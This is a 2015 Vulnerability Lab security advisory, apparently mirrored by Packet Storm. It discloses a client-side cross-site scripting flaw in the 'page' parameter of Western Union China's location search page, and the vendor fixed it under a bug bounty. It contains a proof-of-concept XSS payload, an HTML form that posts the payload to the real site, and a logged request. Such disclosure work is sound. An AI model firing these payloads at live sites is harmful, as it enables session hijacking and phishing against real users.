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Western Union Cross Site Scripting

🗓️ 22 Dec 2015 00:00:00Reported by Milan A SolankiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 54 Views

Western Union CN Bug Bounty #6 - Client Side Cross Site Scripting Web Vulnerability. A client-side cross site scripting web vulnerability was discovered in the official Western Union China web-application. Remote attackers can inject malicious script codes to the client-side of the affected web-application using the `page` value of the `location_search.php` file

Code
`Document Title:  
===============  
Western Union CN Bug Bounty #6 - Client Side Cross Site Scripting Web Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1657  
  
  
Release Date:  
=============  
2015-12-14  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1658  
  
  
Common Vulnerability Scoring System:  
====================================  
3.2  
  
  
Product & Service Introduction:  
===============================  
The Western Union Company is an American financial services and communications company. Its North American headquarters is in Meridian, Colorado,   
though the postal designation of nearby Englewood is used in its mailing address. Up until it discontinued the service in 2006, Western Union was   
the best-known U.S. company in the business of exchanging telegrams.  
  
(Copy of the Homepage: https://en.wikipedia.org/wiki/Western_Union )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Core Research Team discovered a client-side cross site scripting web vulnerability in the official Western Union China web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
25-11-2015 : Reported  
25-11-2015 : Report Validate  
14-12-2015 : Fixed and Bounty Awarded   
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Western Union Company  
Product: Western Union - Web Application (Locations) 2015 Q4  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A POST inject web vulnerability has been discovered in the official Western Union Union online service web-application.  
A vulnerability allows remote attackers to inject malicious script codes on the client-side of the affected web-application.  
  
The vulnerability is located in the `page` value of the `location_search.php` file. Remote attackers are able to inject own   
malicious script codes to the client-side of the affected web-application. The request method to inject is POST and the attack   
vector is client-side. The attacker inject the payload in the page value to execute the code in the results page of the location   
search module.   
  
The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2.   
Exploitation of the non-persistent web vulnerability requires a no privilege web-application user account and low or medium user interaction.   
Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent   
manipulation of affected or connected module context.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Location Search  
  
Vulnerable Parameter(s):  
[+] page  
  
Affected Domain(s):  
[+] location_search.php  
  
  
Proof of Concept (PoC):  
=======================  
The cross site scripting web vulnerability can be exploited by remote attackers without privilege web-application user account or user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Affected domain, path & file:   
http://www.westernunion.cn/en/location_search.php  
  
PoC Payload:   
<--`<img/src=` onerror=alert(document.domain)> --!>  
  
Affected parameter:  
page  
  
  
PoC: html  
<html><body>   
<form action="http://westernunion.cn/en/location_search.php" method="POST">   
<input type="hidden" name="page" value="1<--`<img/src=` onerror=alert(document.domain)> --!>" />   
<input type="hidden" name="province" value="SHAANXI" />   
<input type="hidden" name="city_backup" value="" />   
<input type="hidden" name="city" value="SHANGLUO" />   
<input type="hidden" name="district" value="" />   
<input type="hidden" name="location" value="AGRICULTURAL BANK OF CHINA" />   
<input type="hidden" name="payout" value="USD" />   
<input type="hidden" name="search_keyword" value="" />   
<input type="submit" value="Submit request" />   
</form>   
</body>   
</html>  
  
  
--- PoC HTTP REQUEST Session Logs ---  
POST /en/location_search.php HTTP/1.1   
Host: westernunion.cn   
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0   
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   
Accept-Language: en-US,en;q=0.5   
Accept-Encoding: gzip, deflate   
Cookie: __utma=11880754.2028102378.1448438929.1448438929.1448438929.1; __utmb=11880754.9.10.1448438929; __utmz=11880754.1448438929.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)   
Connection: keep-alive   
Content-Type: application/x-www-form-urlencoded   
Content-Length: 198  
page=1%3C--%60%3Cimg%2Fsrc%3D%60+onerror%3Dalert%28document.domain%29%3E+--%21%3E&province=SHAANXI&city_backup=&city=SHANGLUO&district=&location=AGRICULTURAL+BAN  
  
  
Reference(s):  
http://www.westernunion.cn/  
http://www.westernunion.cn/en/  
http://www.westernunion.cn/en/location_search.php  
  
  
Security Risk:  
==============  
The security risk of the client-side cross site scripting web vulnerability in the chinese wester union bank web-application is estimated as medium. (CVSS 3.2)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Milan Solanki [[email protected]]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed   
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable   
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab   
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for   
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,   
policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
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Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
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`

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22 Dec 2015 00:00Current
7.4High risk
Vulners AI Score7.4
54